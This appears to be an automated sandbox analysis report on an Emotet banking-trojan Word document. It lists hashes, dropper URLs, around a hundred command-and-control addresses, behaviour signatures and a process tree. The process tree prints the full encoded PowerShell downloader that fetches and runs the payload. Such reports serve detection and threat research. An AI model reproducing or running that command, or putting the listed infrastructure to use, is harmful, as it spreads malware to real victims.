emotet | ad477afdea97a221878ddff802a9efad5559f7b83f41d0f4bc7f35d29cfcab97

General

Target
emotet_e1_ad477afdea97a221878ddff802a9efad5559f7b83f41d0f4bc7f35d29cfcab97_2020-09-28__201913407188._doc.doc
Size 168KB
Sample200928-dnfefztpha
SHA256 ad477afdea97a221878ddff802a9efad5559f7b83f41d0f4bc7f35d29cfcab97
MD5 5b84ff77c8edca08171257d64bfaa156
SHA1 3d1885557a81353a16091682593fa88288d76abf
SHA512 7115d711f615d07917668eded6e55139414906551a1ac090e49e91c3e5540c954f2c7c9ec2eb07bd69794bcb6c6bb93dcfde7fb15a55975b2dea465ad1b914a5
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://rootsroundup.com/epk/4/
exe.dropper
http://petafilm.com/calendar/RVv/
exe.dropper
https://fuguluggage.com/wp-content/11L/
exe.dropper
http://hottco.com/stats/St/
exe.dropper
http://35.154.126.222/7wclc/Eo/
exe.dropper
http://51.75.77.138/arminb.at/p6/
exe.dropper
http://54.244.148.19/wp-admin/N/

Extracted

Family

emotet

C2

128.92.203.42:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
190.188.245.242:80
12.163.208.58:80
213.197.182.158:8080
201.213.177.139:80
62.84.75.50:80
45.33.77.42:8080
185.183.16.47:80
78.249.119.122:80
177.129.17.170:443
51.15.7.189:80
152.169.22.67:80
119.106.216.84:80
109.169.12.78:80
51.15.7.145:80
219.92.13.25:80
190.117.79.209:80
35.143.99.174:80
51.255.165.160:8080
209.236.123.42:8080
70.32.115.157:8080
155.186.0.121:80
177.73.0.98:443
181.129.96.162:8080
45.46.37.97:80
178.250.54.208:8080
68.183.170.114:8080
51.38.124.206:80
203.205.28.68:80
46.43.2.95:8080
65.36.62.20:80
70.116.143.84:80
5.189.178.202:8080
190.115.18.139:8080
74.58.215.226:80
185.94.252.12:80
51.75.33.127:80
190.190.148.27:8080
82.76.111.249:443
137.74.106.111:7080
85.214.26.7:8080
76.168.54.203:80
60.93.23.51:80
188.135.15.49:80
186.103.141.250:443
202.134.4.210:7080
185.232.182.218:80
104.131.41.185:8080
123.51.47.18:80
217.13.106.14:8080
116.202.23.3:8080
186.70.127.199:8090
94.176.234.118:443
5.196.35.138:7080
216.47.196.104:80
96.227.52.8:443
191.182.6.118:80
174.113.69.136:80
87.106.253.248:8080
192.241.146.84:8080
190.24.243.186:80
68.183.190.199:8080
12.162.84.2:8080
189.2.177.210:443
98.13.75.196:80
185.94.252.27:443
64.201.88.132:80
149.202.72.142:7080
172.104.169.32:8080
181.74.0.251:80
87.106.46.107:8080
60.108.144.104:443
170.81.48.2:80
67.247.242.247:80
212.71.237.140:8080
202.4.58.197:80
189.35.44.221:80
138.97.60.141:7080
50.121.220.50:80
2.36.95.106:80
177.74.228.34:80
83.169.21.32:7080
111.67.12.221:8080
192.81.38.31:80
70.169.17.134:80
77.238.212.227:80
61.197.92.216:80
82.230.1.24:80
95.9.180.128:80
50.28.51.143:8080
70.32.84.74:8080
1.226.84.243:8080
192.241.143.52:8080
181.30.61.163:443
74.136.144.133:80
45.33.35.74:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3828	3884	POwersheLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1536-12-0x0000000000440000-0x0000000000452000-memory.dmp	emotet
behavioral2/memory/1536-12-0x0000000000440000-0x0000000000452000-memory.dmp	emotet
behavioral2/memory/1536-13-0x0000000000460000-0x0000000000470000-memory.dmp	emotet
behavioral2/memory/1536-13-0x0000000000460000-0x0000000000470000-memory.dmp	emotet
behavioral2/memory/2220-16-0x0000000000510000-0x0000000000522000-memory.dmp	emotet
behavioral2/memory/2220-16-0x0000000000510000-0x0000000000522000-memory.dmp	emotet
behavioral2/memory/2220-17-0x0000000000580000-0x0000000000590000-memory.dmp	emotet
behavioral2/memory/2220-17-0x0000000000580000-0x0000000000590000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
27	3828	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1536	Ckiestcdi.exe
2220	gameux.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\winnsi\gameux.exe	Ckiestcdi.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1928	WINWORD.EXE
1928	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3828	POwersheLL.exe
3828	POwersheLL.exe
3828	POwersheLL.exe
2220	gameux.exe
2220	gameux.exe
2220	gameux.exe
2220	gameux.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3828	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3828 wrote to memory of 1536	3828	POwersheLL.exe	81
PID 3828 wrote to memory of 1536	3828	POwersheLL.exe	81
PID 3828 wrote to memory of 1536	3828	POwersheLL.exe	81
PID 1536 wrote to memory of 2220	1536	Ckiestcdi.exe	82
PID 1536 wrote to memory of 2220	1536	Ckiestcdi.exe	82
PID 1536 wrote to memory of 2220	1536	Ckiestcdi.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_ad477afdea97a221878ddff802a9efad5559f7b83f41d0f4bc7f35d29cfcab97_2020-09-28__201913407188._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1928

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABDAHAAYQBwAHkANwBlAD0AKAAoACcAQgAnACsAJwBnADIAdQAnACkAKwAoACcANQAnACsAJwAzAHgAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AVgA6AHUAcwBFAFIAUABSAE8AZgBJAGwARQBcAGUANgBCAEwAOABmAFoAXAB5AHQAcgAzADUAbgBnAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAGUAQwBUAG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBJAGAAVABgAHkAYABwAFIAbwBUAG8AYABDAG8AbAAiACAAPQAgACgAJwB0ACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKwAnACwAIAAnACsAJwB0ACcAKwAoACcAbABzADEAMQAsACcAKwAnACAAJwArACcAdABsAHMAJwApACkAOwAkAEYANwBmADEAXwA5ADUAIAA9ACAAKAAnAEMAJwArACcAawAnACsAKAAnAGkAZQBzAHQAYwBkACcAKwAnAGkAJwApACkAOwAkAEcAaQBmADEAbgA3ADEAPQAoACgAJwBQAHUAJwArACcAOABvACcAKQArACgAJwBhACcAKwAnAGsAMgAnACkAKQA7ACQARwA5AHcAZwAyAHcAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAHQAJwArACcAcAByAEUAJwApACsAKAAnADYAYgBsADgAZgAnACsAJwB6ACcAKQArACcAdAAnACsAKAAnAHAAJwArACcAcgBZAHQAJwApACsAKAAnAHIAMwA1AG4AJwArACcAZwB0ACcAKwAnAHAAcgAnACkAKQAgACAALQBDAHIARQBQAGwAYQBDAGUAKAAnAHQAcAAnACsAJwByACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABGADcAZgAxAF8AOQA1ACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQARwAyAG8AZgB3AGcANwA9ACgAJwBSAHUAJwArACgAJwBmAGIAJwArACcAawB2ACcAKQArACcAbQAnACkAOwAkAEkAOQBwAGoAbgBrAGIAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAYwBsAGkAZQBOAFQAOwAkAE8AdQBuADAAcAAwAHIAPQAoACcAaAB0ACcAKwAoACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwAnACsAJwByAG8AJwApACsAJwBvACcAKwAoACcAdABzACcAKwAnAHIAbwB1ACcAKQArACgAJwBuAGQAJwArACcAdQAnACkAKwAnAHAAJwArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC8AJwArACcAZQBwAGsALwAnACkAKwAnADQAJwArACcALwAqACcAKwAnAGgAJwArACcAdAAnACsAJwB0AHAAJwArACcAOgAnACsAKAAnAC8AJwArACcALwBwACcAKQArACcAZQAnACsAJwB0ACcAKwAnAGEAZgAnACsAKAAnAGkAJwArACcAbABtACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAYQBsAGUAJwArACcAbgAnACsAJwBkAGEAJwApACsAKAAnAHIALwAnACsAJwBSAFYAJwApACsAJwB2AC8AJwArACcAKgAnACsAKAAnAGgAdAB0ACcAKwAnAHAAcwAnACkAKwAnADoALwAnACsAKAAnAC8AZgB1ACcAKwAnAGcAdQBsAHUAJwApACsAKAAnAGcAZwBhAGcAJwArACcAZQAuACcAKwAnAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAHcAcAAtAGMAJwArACcAbwBuAHQAJwApACsAJwBlACcAKwAoACcAbgAnACsAJwB0AC8AJwApACsAKAAnADEAMQAnACsAJwBMAC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwAnACsAJwBoAG8AdAB0ACcAKQArACgAJwBjAG8ALgBjAG8AJwArACcAbQAvAHMAdABhACcAKwAnAHQAcwAvAFMAJwArACcAdAAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwAzACcAKwAnADUALgAnACkAKwAnADEANQAnACsAJwA0ACcAKwAoACcALgAxADIAJwArACcANgAnACkAKwAoACcALgAyACcAKwAnADIAJwApACsAJwAyACcAKwAnAC8ANwAnACsAJwB3AGMAJwArACgAJwBsACcAKwAnAGMALwBFAG8ALwAnACsAJwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAoACcAdABwADoALwAvACcAKwAnADUAMQAnACkAKwAnAC4AJwArACgAJwA3ACcAKwAnADUALgA3ACcAKQArACcANwAnACsAKAAnAC4AMQAzACcAKwAnADgAJwArACcALwBhAHIAbQBpAG4AJwApACsAJwBiAC4AJwArACcAYQAnACsAKAAnAHQALwAnACsAJwBwADYALwAnACkAKwAoACcAKgBoAHQAdABwACcAKwAnADoALwAnACsAJwAvADUAJwApACsAKAAnADQALgAnACsAJwAyADQANAAuACcAKQArACgAJwAxADQAJwArACcAOAAuACcAKQArACcAMQAnACsAJwA5ACcAKwAoACcALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvACcAKwAnAE4ALwAnACkAKQAuACIAcwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABFAHMAdwA4ADUAbQA0AD0AKAAoACcAVgAnACsAJwBxAGYAJwApACsAKAAnAGMAYwAnACsAJwB6ACcAKQArACcAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABYADgAOQBvAF8AdAA1ACAAaQBuACAAJABPAHUAbgAwAHAAMAByACkAewB0AHIAeQB7ACQASQA5AHAAagBuAGsAYgAuACIARABvAHcAYABOAEwAbwBBAGQAYABGAGAAaQBsAGUAIgAoACQAWAA4ADkAbwBfAHQANQAsACAAJABHADkAdwBnADIAdwBzACkAOwAkAEoAcABrAG0AMQBkAHUAPQAoACgAJwBJAHgAYgAnACsAJwA1ACcAKQArACcAMgAnACsAJwB5AGQAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEcAOQB3AGcAMgB3AHMAKQAuACIATABgAGUAbgBHAHQASAAiACAALQBnAGUAIAAyADAANgA0ADgAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQARwA5AHcAZwAyAHcAcwApADsAJABBAGgAdAB6ADUAagA4AD0AKAAnAE4AJwArACcAbABnACcAKwAoACcAYQA1ACcAKwAnAHEAYQAnACkAKQA7AGIAcgBlAGEAawA7ACQARgB5ADYAawBhAGgAZAA9ACgAKAAnAE4AJwArACcAdgBnAGwAMAAnACkAKwAnAGUAZwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQANwBjAHMAMgBqAHUAPQAoACgAJwBLACcAKwAnAG8AZwAzAG8AYwAnACkAKwAnAHQAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3828
- C:\Users\Admin\E6bl8fz\Ytr35ng\Ckiestcdi.exe
  "C:\Users\Admin\E6bl8fz\Ytr35ng\Ckiestcdi.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\SysWOW64\winnsi\gameux.exe
    "C:\Windows\SysWOW64\winnsi\gameux.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1536-12-0x0000000000440000-0x0000000000452000-memory.dmp

Download

memory/1536-13-0x0000000000460000-0x0000000000470000-memory.dmp

Download

memory/1928-0-0x00007FF9D72B0000-0x00007FF9D7976000-memory.dmp

Download

memory/2220-16-0x0000000000510000-0x0000000000522000-memory.dmp

Download

memory/2220-17-0x0000000000580000-0x0000000000590000-memory.dmp

Download

memory/3828-8-0x000001EBFD030000-0x000001EBFD031000-memory.dmp

Download

memory/3828-7-0x000001EBE4C50000-0x000001EBE4C51000-memory.dmp

Download

memory/3828-6-0x00007FF9CFCA0000-0x00007FF9D068C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads